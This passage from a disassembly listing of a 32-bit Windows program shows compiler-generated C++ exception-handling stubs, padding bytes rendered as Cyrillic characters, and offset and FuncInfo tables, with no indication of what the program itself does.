sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5364h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-534Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-531Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52BCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43CDB2: ; DATA XREF: ___:004295B8o mov eax, offset dword_442D80 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 44h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42ACB0 proc near ; DATA XREF: sub_42ACB0+2o mov eax, offset dword_442E68 jmp sub_437AB8 SEH_42ACB0 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-10h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42AD90 proc near ; DATA XREF: sub_42AD90+2o mov eax, offset dword_442E98 jmp sub_437AB8 SEH_42AD90 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42AFF0 proc near ; DATA XREF: sub_42AFF0+2o mov eax, offset dword_442EC8 jmp sub_437AB8 SEH_42AFF0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B380 proc near ; DATA XREF: sub_42B380+2o mov eax, offset dword_442EF8 jmp sub_437AB8 SEH_42B380 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B440 proc near ; DATA XREF: sub_42B440+8o mov eax, offset dword_442F28 jmp sub_437AB8 SEH_42B440 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C1B0 proc near ; DATA XREF: sub_42C1B0+5o mov eax, offset dword_442F58 jmp sub_437AB8 SEH_42C1B0 endp ; --------------------------------------------------------------------------- align 10h loc_43CEB0: ; DATA XREF: ___:0042C2C5o mov eax, offset dword_442FB8 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+20h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43CEC8: ; DATA XREF: ___:00443044o lea ecx, [ebp+8] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-1A0h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C350 proc near ; DATA XREF: sub_42C350+2o mov eax, offset dword_443018 jmp sub_437AB8 SEH_42C350 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8 jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C530 proc near ; DATA XREF: sub_42C530+2o mov eax, offset dword_443058 jmp sub_437AB8 SEH_42C530 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; --------------------------------------------------------------------------- loc_43CF28: ; DATA XREF: ___:0042C5D2o mov eax, offset dword_443088 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C770 proc near ; DATA XREF: sub_42C770+2o mov eax, offset dword_4430B8 jmp sub_437AB8 SEH_42C770 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; --------------------------------------------------------------------------- mov eax, offset dword_4430E8 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42CB70 proc near ; DATA XREF: sub_42CB70+8o mov eax, offset dword_443118 jmp sub_437AB8 SEH_42CB70 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42CE60 proc near ; DATA XREF: sub_42CE60+2o mov eax, offset dword_443148 jmp sub_437AB8 SEH_42CE60 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-74h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-70h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43D0A4: ; DATA XREF: ___:0042D158o mov eax, offset dword_4431A0 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 32h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_435AA0 proc near ; DATA XREF: sub_435AA0+2o mov eax, offset dword_443288 jmp sub_437AB8 SEH_435AA0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-168Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43D10B: ; DATA XREF: ___:004432ECo lea ecx, [ebp-16A4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43D116: ; DATA XREF: ___:00435B98o mov eax, offset dword_4432C0 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4364D0 proc near ; DATA XREF: sub_4364D0+2o mov eax, offset dword_4432F8 jmp sub_437AB8 SEH_4364D0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4368D0 proc near ; DATA XREF: sub_4368D0+2o mov eax, offset dword_443328 jmp sub_437AB8 SEH_4368D0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4369E0 proc near ; DATA XREF: sub_4369E0+8o mov eax, offset dword_443360 jmp sub_437AB8 SEH_4369E0 endp ; --------------------------------------------------------------------------- db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллл',0 align 4 dd 31Bh dup(0) off_43F000 dd offset sub_4017D0 ; DATA XREF: sub_403720+3FEo off_43F004 dd offset dword_437AC0 ; DATA XREF: sub_403CC0+2o off_43F008 dd offset off_402027 ; DATA XREF: sub_406BF0+2o sub_406C50o off_43F00C dd offset sub_40221B ; DATA XREF: ___:004070C5o off_43F010 dd offset loc_40218F ; DATA XREF: sub_409BC0+4o ; sub_409C20+Bo ... off_43F014 dd offset loc_402045 ; DATA XREF: sub_40AEA0+2o ; sub_40AEF0+1Co dd offset dword_437AC0 align 10h off_43F020 dd offset loc_401AE1 ; DATA XREF: ___:0040B1F8o ; sub_40B250+1Eo flt_43F024 dd 1.0 ; DATA XREF: ___:0040B8A6r off_43F028 dd offset sub_401A4B ; DATA XREF: sub_40F6D0+157o ; sub_40FE70+1Do dd offset sub_402149 dd 0 off_43F034 dd offset sub_401ACD ; DATA XREF: sub_40F6D0+142o ; sub_40FE70+23o off_43F038 dd offset loc_40115E ; DATA XREF: sub_411930+36o ; sub_4119E0+1Do dd offset loc_402004 dd 0 off_43F044 dd offset sub_4014C9 ; DATA XREF: ___:0041325Do ; sub_4132F0+1Fo dd offset sub_401D0C align 10h off_43F050 dd offset sub_4019CE ; DATA XREF: sub_416D00+6o ; sub_417EF0+8o dd offset sub_4020C7 dd 0 off_43F05C dd offset loc_401CAD ; DATA XREF: sub_416D60+6o ; sub_417F20+8o dd offset sub_401230 align 8 off_43F068 dd offset loc_401929 ; DATA XREF: sub_416DC0o sub_41FCD0+8o dd offset sub_401CF3 dd 0 off_43F074 dd offset sub_40111D ; DATA XREF: sub_416E10o ; sub_4191B0+36o off_43F078 dd offset loc_4014AB ; DATA XREF: sub_417CC0+68o off_43F07C dd offset sub_401064 ; DATA XREF: sub_417D60+8Bo off_43F080 dd offset sub_40138E ; DATA XREF: sub_417E30+74o off_43F084 dd offset loc_401B81 ; DATA XREF: sub_417F50+7Bo off_43F088 dd offset loc_40204A ; DATA XREF: sub_418010+7Bo off_43F08C dd offset loc_401F3C ; DATA XREF: sub_4180D0+3Eo off_43F090 dd offset sub_401FE1 ; DATA XREF: sub_418150+8o off_43F094 dd offset loc_401FF5 ; DATA XREF: sub_418180+3Eo off_43F098 dd offset sub_401E6A ; DATA XREF: sub_418200+3Eo off_43F09C dd offset loc_40100A ; DATA XREF: sub_418280+10o off_43F0A0 dd offset loc_4010B4 ; DATA XREF: sub_4182B0+4Bo off_43F0A4 dd offset sub_401BB8 ; DATA XREF: sub_418330+10o off_43F0A8 dd offset sub_40171C ; DATA XREF: sub_418360+10o off_43F0AC dd offset sub_40161D ; DATA XREF: sub_418390+6Bo dbl_43F0B0 dq -3.0517578125e-5 ; DATA XREF: sub_4199C0+22r dd 0 off_43F0BC dd offset sub_401B09 ; DATA XREF: sub_41A110+Bo ; sub_41A210+6o off_43F0C0 dd offset sub_401E92 ; DATA XREF: sub_41B0E0+Do sub_41B140o off_43F0C4 dd offset sub_401406 ; DATA XREF: ___:0041B4A2o ; ___:0041B58Do dd offset sub_401686 align 10h off_43F0D0 dd offset loc_4019F6 ; DATA XREF: sub_41D770+77o ; sub_41D860+1Do dd offset sub_401C94 dd 0 off_43F0DC dd offset sub_4011FE ; DATA XREF: sub_427740+32o dd offset sub_401A78 dd offset sub_401A50 dd 0 off_43F0EC dd offset loc_4016DB ; DATA XREF: sub_4277B0+6Ao ; sub_427850+1Do dd offset sub_401A78 dd offset dword_437AC0 dd 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] db 1Ah, 40h, 0 dd offset sub_401A78 dd offset sub_401366 dd 0 off_43F10C dd offset sub_40182A ; DATA XREF: sub_4281A0+32o dd offset sub_401A78 dd offset sub_401EB0 dd 0 off_43F11C dd offset sub_40224D ; DATA XREF: sub_428880+32o dd offset sub_401A78 dd offset sub_401A14 dd 0 off_43F12C dd offset sub_401C3F ; DATA XREF: sub_4290B0+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_4015B9 dd 0 off_43F13C dd offset loc_402086 ; DATA XREF: sub_429120+7Ao ; sub_4291E0+1Do ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset dword_437AC0 dd 0 off_43F14C dd offset sub_4021D5 ; DATA XREF: sub_429450+4Bo ; sub_429540+10o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset loc_401D3E dd 0 off_43F15C dd offset loc_40112C ; DATA XREF: sub_42ACB0+32o ; sub_42AD50+9o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_40137A dd 0 off_43F16C dd offset loc_401B18 ; DATA XREF: sub_42AFF0+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_4010AF dd 0 off_43F17C dd offset sub_4017B2 ; DATA XREF: sub_42B380+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_40189D dd 0 off_43F18C dd offset sub_4020EF ; DATA XREF: sub_42C4C0+27o dword_43F190 dd 0 dd 8, 0 off_43F19C dd offset dword_437AC0 ; DATA XREF: sub_42C530+39o off_43F1A0 dd offset sub_401F5F ; DATA XREF: ___:0042C602o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset loc_40134D align 10h off_43F1B0 dd offset sub_401B36 ; DATA XREF: sub_42C770+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_401537 align 10h dd offset loc_4015FA ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_4019F1 align 10h dd offset dword_43F348 off_43F1D4 dd offset dword_437AF0+11h ; DATA XREF: ___:off_4448A0o ; ___:off_4448C0o ... dd 0FFFFFFFFh, 437E9Ch, 437EB0h, 4Dh dup(0) off_43F318 dd offset off_448CA0 ; DATA XREF: ___:0043F330o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_43F318 dd 0 db 0 ; DATA XREF: ___:0043F358o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 43F330h dword_43F348 dd 3 dup(0) dd offset off_448CA0 dd offset unk_43F338 dd 45h dup(0) dword_43F470 dd 19930520h, 5, 43F490h, 5 dup(0) dd 0FFFFFFFFh, 438E1Ch, 0 dd offset dword_4382C8+0B28h dd 1, 438DFBh, 2, 438E06h, 3, 438E11h, 2 dup(0) dword_43F4C0 dd 19930520h, 3Dh, 43F4E0h, 5 dup(0) dd 0FFFFFFFFh, 438E60h, 0 dd offset loc_438E6B dd 1, 438E76h, 2, 438E84h, 3, 438E92h, 4, 438EA0h, 5, 438EAEh dd 6, 438EBCh, 7, 438ECAh, 8, 438ED8h, 9, 438EE6h, 0Ah dd 438EF4h, 0Bh, 438F02h, 0Ch, 438F10h, 0Dh, 438F1Eh, 0Eh dd 438F2Ch, 0Fh, 438F3Ah, 10h, 438F48h, 11h, 438F56h, 12h dd 438F64h, 13h, 438F72h, 14h, 438F80h, 15h, 438F8Eh, 16h dd 438F9Ch, 17h, 438FAAh, 18h, 438FB8h, 19h, 438FC6h, 1Ah dd 438FD4h, 1Bh, 438FE2h, 1Ch, 438FF0h, 1Dh, 438FFEh, 1Eh dd 43900Ch, 1Fh, 43901Ah, 20h, 439028h, 21h, 439036h, 22h dd 439044h, 23h, 439052h, 24h, 439060h, 25h, 43906Eh, 26h dd 43907Ch, 27h, 43908Ah, 28h, 439098h, 29h, 4390A6h, 2Ah dd 4390B4h, 2Bh, 4390C2h, 2Ch, 4390D0h, 2Dh, 4390DEh, 2Eh dd 4390ECh, 2Fh, 4390FAh, 30h, 439108h, 31h, 439116h, 32h dd 439124h, 33h, 439132h, 34h, 439140h, 35h, 43914Eh, 36h dd 43915Ch, 37h, 43916Ah, 38h, 439178h, 39h, 439186h, 3Ah dd 439194h, 3Bh, 4391A2h, 0Eh dup(0) dword_43F700 dd 19930520h, 1, 43F720h, 5 dup(0) dd 0FFFFFFFFh, 439290h, 2 dup(0) dword_43F730 dd 19930520h, 2, 43F750h, 5 dup(0) dd 0FFFFFFFFh, 4392B0h, 0 dd offset loc_4392B8 dd 2 dup(0) dword_43F768 dd 19930520h, 2, 43F788h, 5 dup(0) dd 0FFFFFFFFh, 4392E0h, 0 dd offset loc_4392E8 align 10h dword_43F7A0 dd 19930520h, 1, 43F7C0h, 5 dup(0) dd 0FFFFFFFFh, 439310h, 2 dup(0) dword_43F7D0 dd 19930520h, 7, 43F7F0h, 5 dup(0) dd 0FFFFFFFFh, 439330h, 0 dd offset loc_439338 dd 1, 439343h, 2, 439351h, 3, 43935Fh, 4, 43936Dh, 5, 43937Bh dd 2 dup(0) dword_43F830 dd 19930520h, 7, 43F850h, 5 dup(0) dd 0FFFFFFFFh, 4393B0h, 0 dd offset loc_4393B8 dd 1, 4393C3h, 2, 4393D1h, 3, 4393DFh, 4, 4393EDh, 5, 4393FBh dd 2 dup(0) dword_43F890 dd 19930520h, 11h, 43F8B0h, 5 dup(0) dd 0FFFFFFFFh, 439430h, 0FFFFFFFFh, 439438h, 0FFFFFFFFh dd 439440h, 0FFFFFFFFh, 439448h, 0FFFFFFFFh, 439450h, 0FFFFFFFFh dd 439458h, 0FFFFFFFFh, 439460h, 0FFFFFFFFh, 439468h, 0FFFFFFFFh dd 439470h, 0FFFFFFFFh, 439478h, 0FFFFFFFFh, 439480h, 0FFFFFFFFh dd 439488h, 0FFFFFFFFh, 439490h, 0FFFFFFFFh, 439498h, 0FFFFFFFFh dd 4394A0h, 0Eh, 4394A8h, 0Eh, 4394B0h, 4 dup(0) dword_43F948 dd 19930520h, 0Bh, 43F968h, 5 dup(0) dd 0FFFFFFFFh, 4394F0h, 0 dd offset loc_4394F8 dd 0FFFFFFFFh, 439500h, 2, 439508h, 0FFFFFFFFh, 439510h dd 0FFFFFFFFh, 439518h, 0FFFFFFFFh, 439520h, 0FFFFFFFFh dd 439528h, 7, 439533h, 7, 43953Bh, 9, 439543h, 4 dup(0) dword_43F9D0 dd 19930520h, 31h, 43F9F0h, 5 dup(0) dd 0FFFFFFFFh, 439570h, 0 dd offset loc_43957B dd 0 dd offset loc_439586 dd 0FFFFFFFFh, 439591h, 0FFFFFFFFh, 43959Ch, 4, 4395A7h dd 0FFFFFFFFh, 4395B2h, 6, 4395BDh, 6, 4395C8h, 8, 4395D3h dd 0FFFFFFFFh, 4395DEh, 0Ah, 4395E9h, 0Ah, 4395F4h, 0Ah dd 4395FFh, 0Ah, 43960Ah, 0Ah, 439615h, 0Ah, 439620h, 0FFFFFFFFh dd 43962Bh, 11h, 439636h, 11h, 439641h, 0FFFFFFFFh, 43964Ch dd 0FFFFFFFFh, 439657h, 15h, 439662h, 0FFFFFFFFh, 43966Dh dd 0FFFFFFFFh, 439678h, 18h, 439683h, 0FFFFFFFFh, 43968Eh dd 0FFFFFFFFh, 439699h, 0FFFFFFFFh, 4396A4h, 0FFFFFFFFh dd 4396AFh, 1Dh, 4396BAh, 1Dh, 4396C5h, 1Dh, 4396D0h, 1Dh dd 4396DBh, 1Dh, 4396E6h, 22h, 4396F1h, 22h, 4396FCh, 22h dd 439707h, 22h, 439712h, 22h, 43971Dh, 22h, 439728h, 22h dd 439733h, 22h, 43973Eh, 22h, 439749h, 22h, 439754h, 22h dd 43975Fh, 22h, 43976Ah, 22h, 439775h, 22h, 439780h, 0Ch dup(0) dword_43FBA8 dd 19930520h, 2, 43FBC8h, 5 dup(0) dd 0FFFFFFFFh, 439828h, 0 dd offset loc_439820 align 10h dword_43FBE0 dd 19930520h, 2, 43FC00h, 5 dup(0) dd 0FFFFFFFFh, 43986Bh, 0 dd offset loc_439860 dd 2 dup(0) dword_43FC18 dd 19930520h, 3, 43FC38h, 5 dup(0) dd 0FFFFFFFFh, 4398A0h, 0 dd offset loc_4398AB dd 0 dd offset loc_4398B6 dd 2 dup(0) dword_43FC58 dd 19930520h, 1, 43FC78h, 5 dup(0) dd 0FFFFFFFFh, 4398E0h, 2 dup(0) dword_43FC88 dd 19930520h, 1, 43FCA8h, 5 dup(0) dd 0FFFFFFFFh, 439900h, 2 dup(0) dword_43FCB8 dd 19930520h, 2, 43FCD8h, 5 dup(0) dd 0FFFFFFFFh, 439920h, 0 dd offset loc_439928 align 10h dword_43FCF0 dd 19930520h, 57h, 43FD10h, 5 dup(0) dd 0FFFFFFFFh, 439940h, 0 dd offset loc_43994B dd 1, 439956h, 2, 439961h, 3, 43996Ch, 4, 439977h, 5, 439982h dd 6, 43998Dh, 7, 439998h, 8, 4399A3h, 9, 4399ABh, 0Ah dd 4399B3h, 0Bh, 4399BEh, 0Ch, 4399C6h, 0Dh, 4399CEh, 0Eh dd 4399D9h, 0Fh, 4399E4h, 10h, 4399EFh, 11h, 4399FAh, 12h dd 439A05h, 13h, 439A10h, 14h, 439A1Bh, 15h, 439A26h, 16h dd 439A31h, 17h, 439A3Ch, 18h, 439A47h, 19h, 439A52h, 1Ah dd 439A5Dh, 1Bh, 439A68h, 1Ch, 439A73h, 1Dh, 439A7Eh, 1Eh dd 439A89h, 1Eh, 439A94h, 1Eh, 439A9Fh, 1Eh, 439AAAh, 1Eh dd 439AB5h, 1Eh, 439AC0h, 1Eh, 439ACBh, 1Eh, 439AD6h, 1Eh dd 439AE1h, 1Eh, 439AECh, 28h, 439AF7h, 1Eh, 439AF7h, 1Eh dd 439B02h, 2Bh, 439B0Dh, 1Eh, 439B0Dh, 1Eh, 439B18h, 2Eh dd 439B23h, 1Eh, 439B23h, 1Eh, 439B2Eh, 31h, 439B39h, 1Eh dd 439B39h, 1Eh, 439B44h, 34h, 439B4Fh, 1Eh, 439B4Fh, 1Eh dd 439B5Ah, 37h, 439B65h, 1Eh, 439B65h, 1Eh, 439B70h, 3Ah dd 439B7Bh, 1Eh, 439B7Bh, 1Eh, 439B86h, 3Dh, 439B91h, 1Eh dd 439B91h, 1Eh, 439B9Ch, 40h, 439BA7h, 1Eh, 439BA7h, 1Eh dd 439BB2h, 43h, 439BBDh, 1Eh, 439BBDh, 1Eh, 439BC8h, 46h dd 439BD3h, 1Eh, 439BD3h, 1Eh, 439BDEh, 49h, 439BE9h, 1Eh dd 439BE9h, 1Eh, 439BF4h, 4Ch, 439BFFh, 1Eh, 439BFFh, 1Eh dd 439C0Ah, 4Fh, 439C15h, 1Eh, 439C15h, 1Eh, 439C20h, 52h dd 439C2Bh, 53h, 439C36h, 54h, 439C41h, 55h, 439C4Ch, 13h dup(0) dd offset off_4448A0 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 437AF0h, 2 dup(0) dd offset off_4448C0 dd 0 dd 